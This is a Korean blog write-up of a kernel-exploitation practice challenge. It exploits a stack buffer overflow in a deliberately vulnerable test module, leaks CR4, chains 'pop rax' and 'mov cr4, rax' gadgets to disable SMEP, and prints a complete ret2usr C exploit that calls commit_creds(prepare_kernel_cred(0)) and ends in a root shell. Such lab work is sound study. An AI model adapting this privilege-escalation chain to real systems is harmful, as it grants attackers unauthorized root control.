서론
cr4 overwrite 2차전이다.
문제 환경
첨부 환경을 기준으로 한다.
1. 환경설정
1.1. vmlinux 추출하기
앞과 동일하다.
┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> extract-vmlinux bzImage > vmlinux
┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ls
bzImage rootfs.cpio start.sh vmlinux
1.2. 문제 환경 설정
start.sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,smep \
보다시피 aslr은 해제되었으며, smep가 걸려있는 것을 알 수 있다.
-no-reboot을 붙여 커널 패닉이 발생해도 리붓하지 않게하여 커널 로그를 쉽게 볼수 있게 하고,
말미에 -s를 붙여 gdb를 통한 디버깅이 가능하도록 셋팅하자.
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,smep \
-no-reboot \
-s
init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod test.ko
chmod 777 /dev/test
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
실행되는 쉘의 유저가 1000임을 알 수 있다.
kallsyms 확인을 위해 이를 0으로 바꾸어 root으로 접속할 수 있도록 변경하자.
더불어 echo 0 > /proc/sys/kernel/kptr_restrict 을 추가하여 심볼의 주소를 확인할 수 있게하자.
2. module 분석
test.c 파일이 해당 모듈의 소스코드이다.
필요한 부분만 뜯어보자.
2.1. misc_register
모듈을 등록하는 함수이다.
&test_driver 구조체를 참조하는데, 여기 모듈의 정보가 들어있다. (특히 이름)
2.2. test_write
커널 힙을 count 만큼 할당하고,
ptr에 커널 힙 주소를 넣은 다음
copy_from_user 함수를 통해 buf의 값을 count 만큼 ptr, 즉 커널 힙에 넣는다.
그리고 해당 값을 다시 memcpy를 통해 arr 변수가 있는 커널 스택 영역으로 복사해준다.
이 때 count 변수는 유저의 입력 값이기 때문에 buffer overflow가 발생한다.
3. 취약점
kernel buffer overflow
4. payload 작성
4.1 기본 테스트
모듈에 값을 전달하여 잘 불러와지는지, 작동하는지부터 확인해보자.
아래와 같이 간단히 코딩하였다.
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
void main(){
int fd = open("/dev/test", O_RDWR);
if (fd == -1) puts("module open error");
char buf[0x410];
memset(buf, 'A', 0x10);
write(fd, buf, 0x10);
close(fd);
return;
}
gdb로 test_write 함수가 실행된 후 종료되기 전에 적당한 위치에서 브레이크 포인트를 걸어 레지스터 값을 확인하였다.
Breakpoint 3, 0xffffffffc000005e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
*RAX 0x0
RBX 0x10
*RCX 0xffffffff8244c538 ◂— 0xffffffff8244c538
*RDX 0x0
*RDI 0xffffffff82b1076c ◂— 0x100000000
*RSI 0x86
*R8 0x167
*R9 0x4
R10 0x0
*R11 0x1
R12 0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
R13 0xffffc9000019ff10 ◂— 0x0
R14 0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
R15 0x0
RBP 0xffff88801de0ac80 ◂— 'AAAAAAAAAAAAAAAA'
RSP 0xffffc9000019feb0 ◂— 'AAAAAAAAAAAAAAAA'
*RIP 0xffffffffc000005e ◂— popq %rdx
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0xffffffffc000005e popq %rdx
0xffffffffc000005f popq %rbx
0xffffffffc0000060 popq %rbp
0xffffffffc0000061 popq %r12
0xffffffffc0000063 retq
↓
0xffffffff811df158 movq %rax, %r12
0xffffffff811df15b testq %r12, %r12
0xffffffff811df15e jg 0xffffffff811df18e <0xffffffff811df18e>
↓
0xffffffff811df18e testb $4, 0x47(%rbp)
0xffffffff811df192 jne 0xffffffff811df1cd <0xffffffff811df1cd>
↓
0xffffffff811df1cd movq %gs:0x16d00, %rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000019feb0 ◂— 'AAAAAAAAAAAAAAAA'
01:0008│ 0xffffc9000019feb8 ◂— 'AAAAAAAA'
02:0010│ 0xffffc9000019fec0 —▸ 0xffff88801da06a00 ◂— 0x0
03:0018│ 0xffffc9000019fec8 ◂— 0x0
04:0020│ 0xffffc9000019fed0 —▸ 0xffffffff811df158 ◂— movq %rax, %r12
05:0028│ 0xffffc9000019fed8 —▸ 0xffff88801da06a00 ◂— 0x0
06:0030│ 0xffffc9000019fee0 —▸ 0xffff88801da06a00 ◂— 0x0
07:0038│ 0xffffc9000019fee8 —▸ 0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0xffffffffc000005e
1 0x4141414141414141
2 0x4141414141414141
3 0xffff88801da06a00
4 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
이대로 진행하면 rdx와 rbx는 AAAAAAAA의 값을 가질 것이다.
4.2. cr4 leak
기존 cr4 값을 얻기 위해
입력 값을 키워서 rbp, r12에도 동일한 값을 넣고 return의 값으로 BBBBBBBB을 넣어 커널 패닉을 일으켜보자.
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
void main(){
int fd = open("/dev/test", O_RDWR);
if (fd == -1) puts("module open error");
char buf[0x28];
memset(buf, 'A', 0x20);
unsigned long *chain = (unsigned long*)&buf[0x20];
*chain++ = 0x4242424242424242;
write(fd, buf, sizeof(buf));
close(fd);
return;
}
/ # ./payload
[ 4.685294] arr : 42
[ 4.685891] general protection fault: 0000 [#1] SMP NOPTI
[ 4.686939] CPU: 0 PID: 69 Comm: payload Tainted: G O 5.8.5 #2
[ 4.687458] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 4.688074] RIP: 0010:0x4242424242424242
[ 4.688388] Code: Bad RIP value.
[ 4.688536] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[ 4.688803] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[ 4.689047] RDX: 4141414141414141 RSI: ffffffff82b12ba8 RDI: ffffffff82b12fa8
[ 4.689270] RBP: 4141414141414141 R08: ffffffff82b12ba0 R09: 0000000000028900
[ 4.689576] R10: 0000000000000000 R11: 0000000000000045 R12: 4141414141414141
[ 4.689845] R13: ffffc9000019ff10 R14: 00007ffdfe779a90 R15: 0000000000000000
[ 4.690163] FS: 0000000001f353c0(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[ 4.690564] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.690763] CR2: 00000000004b4b20 CR3: 000000001da4e000 CR4: 00000000001006f0
[ 4.691061] Call Trace:
[ 4.692126] ? ksys_write+0x9c/0xd0
[ 4.692311] ? do_syscall_64+0x3e/0x70
[ 4.692526] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 4.692809] Modules linked in: test(O)
[ 4.694152] ---[ end trace df451612340cf1f8 ]---
[ 4.694539] RIP: 0010:0x4242424242424242
[ 4.694973] Code: Bad RIP value.
[ 4.695963] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[ 4.697794] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[ 4.699452] RDX: 4141414141414141 RSI: ffffffff82b12ba8 RDI: ffffffff82b12fa8
[ 4.701529] RBP: 4141414141414141 R08: ffffffff82b12ba0 R09: 0000000000028900
[ 4.703341] R10: 0000000000000000 R11: 0000000000000045 R12: 4141414141414141
[ 4.704245] R13: ffffc9000019ff10 R14: 00007ffdfe779a90 R15: 0000000000000000
[ 4.705534] FS: 0000000001f353c0(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[ 4.706055] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.706975] CR2: 00000000004b4b20 CR3: 000000001da4e000 CR4: 00000000001006f0
[ 4.709193] Kernel panic - not syncing: Fatal exception
[ 4.710493] Kernel Offset: disabled
[ 4.711178] Rebooting in 1 seconds..
이제 cr4의 값을 얻었다.
앞선 글과 마찬가지로 동일한 값이다.
그러므로 동일하게 0x6f0을 삽입하면 될 것이다.
4.3. payload 구성 및 gadget 확인.
기본적인 ret2user 공격 구조에서 명령어를 실행시키기 전에 rop으로 cr4 값만 변조해주면 된다.
그러려면 cr4를 변조할 가젯이 필요하며 아래와 같이 찾을 수 있다.
(커널 버전에 따라 있을수도, 없을수도 있다.)
┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ROPgadget --binary vmlinux | grep 'cr4'
...
0xffffffff810973c0 : mov cr4, rax ; ret
...
즉, rax 값을 조작해야 cr4를 조작할 수 있기에 rax를 위한 gadget을 추가로 찾아보면 아래와 같다.
┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ROPgadget --binary vmlinux | grep 'pop rax' | grep ret
...
0xffffffff8100eb17 : pop rax ; ret
...
깔끔하구만.
이제 나머지 주소들을 구해서 페이로드를 작성해보면 아래와 같다.
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8108c2f0;
unsigned long commit_creds = 0xffffffff8108bed0;
#define cr4 0xffffffff810973c0 //mov cr4, rax ; ret
#define rax 0xffffffff8100eb17 //pop rax ; ret
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
void main(){
save_state();
int fd = open("/dev/test", O_RDWR);
if (fd == -1) puts("module open error");
char buf[0x40];
memset(buf, 'A', 0x20);
unsigned long *chain = (unsigned long*)&buf[0x20];
*chain++ = rax;
*chain++ = 0x6f0;
*chain++ = cr4;
*chain++ = (unsigned long)&escalate_privilege;
write(fd, buf, sizeof(buf));
close(fd);
return;
}
6. exploit
마찬가지로 기존 init, start.sh 파일로 교체하고 다시 실행해보았다.
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)
마치며
cr4를 컨트롤할 수 있는 가젯이 있다면 이 정도로 쉽게 마무리 가능하다.
가젯을 먼저 확인해보는 습관이 좋을 것 같다.
'Kernel Exploit' 카테고리의 다른 글
Kernel - stack pivoting #2 - with xchg (0) | 2023.09.09 |
---|---|
Kernel - stack pivoting #1 - with mov esp. (0) | 2023.09.08 |
Kernel - SMEP 우회, cr4 overwrite (0) | 2023.09.08 |
Kernel - SMEP 우회, krop (0) | 2023.09.07 |
kernel - ret2usr (0) | 2023.08.27 |